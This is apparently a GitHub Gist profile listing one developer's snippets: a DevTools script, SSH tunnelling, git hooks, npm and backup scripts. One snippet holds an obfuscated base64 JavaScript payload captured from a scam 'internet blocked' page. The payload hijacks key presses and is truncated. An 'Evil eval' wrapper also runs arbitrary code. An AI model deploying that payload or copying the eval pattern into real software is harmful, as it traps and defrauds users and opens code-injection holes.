Skip to content

Instantly share code, notes, and snippets.

View HaykoKoryun's full-sized avatar

Hayko Koryun HaykoKoryun

  • VMware
  • Yerevan, Armenia
View GitHub Profile
@HaykoKoryun
HaykoKoryun / script.js
Created October 2, 2020 11:46
List all files in Chrome DevTools with their paths
document.querySelectorAll('table.data tr.data-grid-data-grid-node').forEach(record => {
if(!record.querySelector('.name-column')) return;
const name = record.innerText;
const path = record.querySelector('div').innerText;
console.log(`${path}/${name}`);
});
@HaykoKoryun
HaykoKoryun / cloudSettings
Last active May 8, 2018 14:21
Visual Studio Code Settings Sync Gist
{"lastUpload":"2018-04-09T09:32:12.017Z","extensionVersion":"v2.9.0"}
$manager = new \MongoDB\Driver\Manager("mongodb://user:pass@domain.com:27017/central?readPreference=secondary");
$command = new \MongoDB\Driver\Command(['explain' => ['find' => 'zztop']]);
$cursor = $manager->executeCommand('central', $command);
$response = $cursor->toArray()[0];
print_r($response);
@HaykoKoryun
HaykoKoryun / script.sh
Created October 5, 2017 07:47
scp through ssh tunnel
connect to server B via A
ssh -L 1234:<address of B known to A>:22 <user at A>@<address of A> cat -
on a separate terminal
scp -P 1234 <user at B>@127.0.0.1:/path/to/source destination
@HaykoKoryun
HaykoKoryun / evil.js
Created September 12, 2017 21:23
Evil eval
function Evil()
{
var instance = this;
var message = "now that is truly evil!";
instance.evil = function(code)
{
eval(code);
}
instance.output = function()
{
from this URL: http://internet-zablokirovan.internet-zablokirovan.10164.fokus3.ru/ma.php
data:text/html;charset=utf-8;base64,PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KKGZ1bmN0aW9uKE8sbyl7byhPKDMyLDMyLDMyLDMyLDExOSwxMDUsMTEwLDEwMCwxMTEsMTE5LDQ2LDExMSwxMTAsMTA3LDEwMSwxMjEsMTAwLDExMSwxMTksMTEwLDMyLDYxLDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCwxMDEsMTE4LDExNiw0MSwzMiwxMjMsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTA1LDEwMiw0MCwxMDEsMTE4LDExNiw0NiwxMDcsMTAxLDEyMSw2NywxMTEsMTAwLDEwMSwzMiw2MSw2MSwzMiw1MCw1NSwzMiwxMjQsMTI0LDMyLDEwMSwxMTgsMTE2LDQ2LDEwNywxMDEsMTIxLDY3LDExMSwxMDAsMTAxLDMyLDYxLDYxLDMyLDQ5LDU2LDMyLDEyNCwxMjQsMzIsMTAxLDExOCwxMTYsNDYsMTA3LDEwMSwxMjEsNjcsMTExLDEwMCwxMDEsMzIsNjEsNjEsMzIsNDksNTAsNTEsMzIsMTI0LDEyNCwzMiwxMDEsMTE4LDExNiw0NiwxMDcsMTAxLDEyMSw2NywxMTEsMTAwLDEwMSwzMiw2MSw2MSwzMiw1Niw1MywzMiwxMjQsMTI0LDMyLDEwMSwxMTgsMTE2LDQ2LDEwNywxMDEsMTIxLDY3LDExMSwxMDAsMTAxLDMyLDYxLDYxLDMyLDU3LDMyLDEyNCwxMjQsMzIsMTAxLDExOCwxMTYsNDYsMTA3LDEwMSwxMjEsNjcsMTExLDEwMCwxMDEsMzIsNjEsNjEsMzIsNDksNDksNTMsMzIsMTI0LDEyNCwzMi
@HaykoKoryun
HaykoKoryun / post-update
Created February 7, 2016 11:23
git post-update hook
#!/bin/sh
#
# This hook does two things:
#
# 1. update the "info" files that allow the list of references to be
# queries over dumb transports such as http
#
# 2. if this repository looks like it is a non-bare repository, and
# the checked-out branch is pushed to, then update the working copy.
# This makes "push" function somewhat similarly to darcs and bzr.
@HaykoKoryun
HaykoKoryun / README.md
Last active August 29, 2015 14:20
npm install into a subfolder of your choice!

In your package.json file add the following two script declarations:

"scripts": {
    "preinstall": "node preinstall.js",
    "postinstall": "node postinstall.js"
},

In your entry script, add the followig code to make sure the working directory is set to the script so the node_modules folder resolves correctly:

#!/bin/bash
# change the following two params,
# set up a cron job and there you go!
email="bob@mail.com"
site="your site"
cd "$(dirname "$0")"
if [ ! -f snitch.log ]; then
@HaykoKoryun
HaykoKoryun / zippy.php
Last active August 25, 2016 14:55
async gzip on server with email notification
<?php
$background = "> /dev/null 2>/dev/null &";
$input = "";
$output = "";
$email = "bob@bob.com";
$subject = "$output done";
$cwd = getcwd();